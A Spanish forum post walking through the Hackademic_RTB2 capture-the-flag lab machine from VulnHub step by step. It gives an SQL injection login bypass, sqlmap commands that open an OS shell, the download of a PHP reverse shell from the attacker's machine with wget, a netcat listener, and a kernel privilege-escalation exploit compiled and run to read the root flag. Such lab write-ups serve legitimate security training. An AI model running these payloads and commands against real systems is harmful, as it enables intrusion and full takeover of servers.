Inicio
Buscar
Ingresar
Registrarse
Starfield: el juego que revolucionará el espacio y la tecnología
Hack x Crack - Comunidad de Seguridad informática
»
Seguridad Informatica
»
Hacking
»
CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]
Imprimir
Páginas: [
1
]
Ir Abajo
Autor
Tema: CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO] (Leído 1785 veces)
R3LI4NT
{ L4 } Geek
Mensajes: 386
El poder del usuario radica en su ANONIMATO.
CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]
«
en:
Agosto 04, 2022, 02:49:16 am »
Nombre de la máquina: Hackademic_RTB2
O.S: Ubuntu (Linux)
Nivel: Medio
Reto compartido en mi perfil de Github:
https://github.com/R3LI4NT/ctf-retos
Descargar desde vulnhub:
https://www.vulnhub.com/entry/hackademic-rtb2,18/
Paso 1):
Identificar la IP de la máquina host con ArpScan.
Código: Text
arp-scan --interface eth0 -l
IP host: 192.168.25.131
Paso 2):
Escanear todos los puertos que estén abiertos con Nmap.
Código: Text
nmap -p- --open -sC -n -vvv 192.168.25.131
Puertos abiertos: [80,666]
Paso 3):
Detección de servicios y sistema operativo.
Código: Text
nmap -p 80,666 -A 192.168.25.131
Servidor corriendo: HTTP Apache
O.S: Linux (Ubuntu)
URL del servidor:
http://192.168.25.131
Paso 4):
Bypassear login con inyección SQL manual.
Username:
' or 1=1--'
Password:
' or 1=1--'
Al inspeccionar el código fuente, la etiqueta
<font>
contiene un texto ofuscado a hexadecimal.
Código: Text
%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A
Paso 5):
Decodificar mensaje de forma Online y con BurpSuite.
ONLINE:
https://www.online-toolz.com/langs/es/tool-es-text-hex-convertor.html
BURPSUITE:
Decoder:
Código: Text
[Text] -> Decode as -> URL
[Hex] -> Decode as -> ASCII hex
[Text] -> Decode as -> Plain
Decodificar cadena binaria:
https://www.traductorbinario.com/
Código: Text
0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1
Paso 6):
Acceder al puerto 666 golpeado recursivamente los puertos 1001,1101,1011,1001 con Nmap.
Código: Text
nmap -r -p 1001,1101,1011,1001 192.168.25.131
URL con el puerto 666 abierto:
http://192.168.25.131:666
Paso 7):
Encontrar parámetro vulnerable a inyección SQL.
Navegando en el sitio web se puede observar que la "Lista de artículos de contenido" presenta una URL crítica.
URL:
http://192.168.25.131:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3
Explotar base de datos con SQLmap:
Código: Text
sqlmap --url 'http://192.168.25.131:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3' --dbs --batch
Paso 8]:
Subir una shell a la base de datos joomla.
Código: Text
sqlmap --url 'http://192.168.25.131:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3' -D joomla --os-shell --batch
Editar la reverse shell PHP, moverla al directorio
/root
y subirla al servidor local:
Código: Text
cp /usr/share/webshells/php/php-reverse-shell.php /root
nano php-reverse-shell.php
mv php-reverse-shell.php reverseshell.php
$ip:
La IP local de su máquina.
$port:
4444 (opcional).
Abrir servidor local con Python3:
Código: Text
python3 -m http.server 80
Descargar la reverse shell desde la shell obtenida en la base de datos:
Código: Text
wget http://192.168.1.9/reverseshell.php
Paso 9):
Poner a escucha conexiones con Netcat.
Código: Text
nc -lvp 4444
Acceder al sitio donde se subio la reverse shell:
URL:
http://192.168.25.131:666/reverseshell.php
Paso 10):
Identificar versión del kernel y descargar exploit.
Código: Text
searchsploit 2.6.3 | grep "RDS"
searchsploit -m 15285
Abrir servidor local con Python3:
Código: Text
python3 -m http.server 80
Descargar y compilar exploit en el directorio
/tmp
:
Código: Text
cd /tmp
wget http://192.168.1.9/15285.c
gcc 15285.c -o kernel
Explotar kernel:
Código: Text
./kernel
Acceder al directorio
/root
y capturar la flag:
Código: Text
cd /root
cat Key.txt
Descifrar contenido del fichero con base64 y moverlo al servidor local
/var/www
:
Código: Text
base64 -d Key.txt > flag
mv flag /var/www
URL:
http://192.168.25.131:666/flag
Mis felicitaciones al autor
mr.pr0n
por la excelente versión 2.0 de
Hackademic
!
Versión 1: _
https://hackxcrack.net/foro/hacking/ctf-hackademic_rtb1-(resuelto)/
#R3LI4NT
En línea
No contesto dudas por MP, si las tienes, las planteas en el foro.
Road To Hacking v3:
https://github.com/R3LI4NT/road-to-hacking
Imprimir
Páginas: [
1
]
Ir Arriba
Hack x Crack - Comunidad de Seguridad informática
»
Seguridad Informatica
»
Hacking
»
CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]
Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso...
OK
Learn more